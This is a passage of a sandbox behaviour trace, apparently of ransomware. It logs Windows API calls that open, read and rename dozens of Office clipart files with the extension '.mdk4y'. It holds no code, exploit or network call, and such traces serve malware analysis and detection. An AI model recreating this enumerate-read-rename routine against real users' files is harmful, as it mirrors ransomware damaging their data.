Office\\CLIPART\\PUB60COR\\HM00114_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.mdk4y")) returned 1 [0140.094] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0140.094] AreFileApisANSI () returned 1 [0140.094] GetACP () returned 0x4e4 [0140.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HM00116_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HM00116_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0140.094] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0140.094] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821532400000) returned 1 [0140.094] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3dec, lpOverlapped=0x0) returned 1 [0140.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821532600000) returned 1 [0140.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821532600000) returned 1 [0140.096] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.mdk4y")) returned 1 [0140.096] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0140.096] AreFileApisANSI () returned 1 [0140.096] GetACP () returned 0x4e4 [0140.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HM00172_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HM00172_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0140.096] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0140.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821532700000) returned 1 [0140.097] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb10, lpOverlapped=0x0) returned 1 [0140.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821532800000) returned 1 [0140.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821532800000) returned 1 [0140.098] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.mdk4y")) returned 1 [0140.098] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0140.099] AreFileApisANSI () returned 1 [0140.099] GetACP () returned 0x4e4 [0140.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HM00426_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HM00426_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0140.099] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0140.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821532900000) returned 1 [0140.099] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x10ca8, lpOverlapped=0x0) returned 1 [0140.239] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821546900000) returned 1 [0140.239] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821546900000) returned 1 [0140.240] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.mdk4y")) returned 1 [0140.240] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0140.241] AreFileApisANSI () returned 1 [0140.241] GetACP () returned 0x4e4 [0140.241] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HTECH_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HTECH_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0140.241] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0140.241] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821547100000) returned 1 [0140.241] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1c0a, lpOverlapped=0x0) returned 1 [0140.242] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821547200000) returned 1 [0140.242] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821547200000) returned 1 [0140.242] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.mdk4y")) returned 1 [0140.243] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0140.243] AreFileApisANSI () returned 1 [0140.243] GetACP () returned 0x4e4 [0140.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IN00046_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IN00046_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0140.243] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0140.244] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821547400000) returned 1 [0140.244] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x486, lpOverlapped=0x0) returned 1 [0140.342] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821557200000) returned 1 [0140.342] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821557200000) returned 1 [0140.342] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.mdk4y")) returned 1 [0140.343] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0140.343] AreFileApisANSI () returned 1 [0140.343] GetACP () returned 0x4e4 [0140.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IN00118_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IN00118_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0140.343] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0140.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821557300000) returned 1 [0140.343] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x318, lpOverlapped=0x0) returned 1 [0140.395] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821562500000) returned 1 [0140.395] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821562500000) returned 1 [0140.396] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.mdk4y")) returned 1 [0140.397] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0140.397] AreFileApisANSI () returned 1 [0140.397] GetACP () returned 0x4e4 [0140.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IN00177_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IN00177_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0140.397] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0140.397] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821562700000) returned 1 [0140.397] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x432, lpOverlapped=0x0) returned 1 [0140.545] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821577500000) returned 1 [0140.545] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821577500000) returned 1 [0140.545] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.mdk4y")) returned 1 [0140.546] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0140.546] AreFileApisANSI () returned 1 [0140.546] GetACP () returned 0x4e4 [0140.546] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IN00204_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IN00204_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0140.546] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0140.547] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821577700000) returned 1 [0140.547] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x738, lpOverlapped=0x0) returned 1 [0140.549] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821577900000) returned 1 [0140.549] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821577900000) returned 1 [0140.549] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.mdk4y")) returned 1 [0140.550] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0140.550] AreFileApisANSI () returned 1 [0140.550] GetACP () returned 0x4e4 [0140.550] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IN00233_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IN00233_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0140.550] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0140.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821578000000) returned 1 [0140.550] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2bb6, lpOverlapped=0x0) returned 1 [0140.558] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821578800000) returned 1 [0140.558] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821578800000) returned 1 [0140.558] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.mdk4y")) returned 1 [0140.559] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0140.559] AreFileApisANSI () returned 1 [0140.559] GetACP () returned 0x4e4 [0140.559] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IN00343_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IN00343_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0140.559] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0140.614] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821584400000) returned 1 [0140.614] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x764, lpOverlapped=0x0) returned 1 [0140.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821584500000) returned 1 [0140.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821584500000) returned 1 [0140.615] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.mdk4y")) returned 1 [0140.616] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0140.616] AreFileApisANSI () returned 1 [0140.616] GetACP () returned 0x4e4 [0140.616] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IN00346_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IN00346_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0140.616] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0140.617] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821584700000) returned 1 [0140.617] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2b8, lpOverlapped=0x0) returned 1 [0140.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821584800000) returned 1 [0140.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821584800000) returned 1 [0140.618] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.mdk4y")) returned 1 [0140.650] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0140.650] AreFileApisANSI () returned 1 [0140.650] GetACP () returned 0x4e4 [0140.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IN00351_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IN00351_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0140.650] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0140.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821588000000) returned 1 [0140.650] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x788, lpOverlapped=0x0) returned 1 [0140.714] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821594400000) returned 1 [0140.714] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821594400000) returned 1 [0140.715] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.mdk4y")) returned 1 [0140.715] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0140.715] AreFileApisANSI () returned 1 [0140.715] GetACP () returned 0x4e4 [0140.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IN00557_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IN00557_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0140.716] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0140.716] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821594600000) returned 1 [0140.716] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x23d4, lpOverlapped=0x0) returned 1 [0140.746] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821597600000) returned 1 [0140.746] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821597600000) returned 1 [0140.746] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.mdk4y")) returned 1 [0140.747] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0140.747] AreFileApisANSI () returned 1 [0140.747] GetACP () returned 0x4e4 [0140.747] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IN00915_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IN00915_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0140.747] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0140.805] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821603500000) returned 1 [0140.805] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x31cc, lpOverlapped=0x0) returned 1 [0140.807] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821603700000) returned 1 [0140.807] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821603700000) returned 1 [0140.807] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.mdk4y")) returned 1 [0140.808] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0140.808] AreFileApisANSI () returned 1 [0140.808] GetACP () returned 0x4e4 [0140.808] WideCharToMultiByte (in: 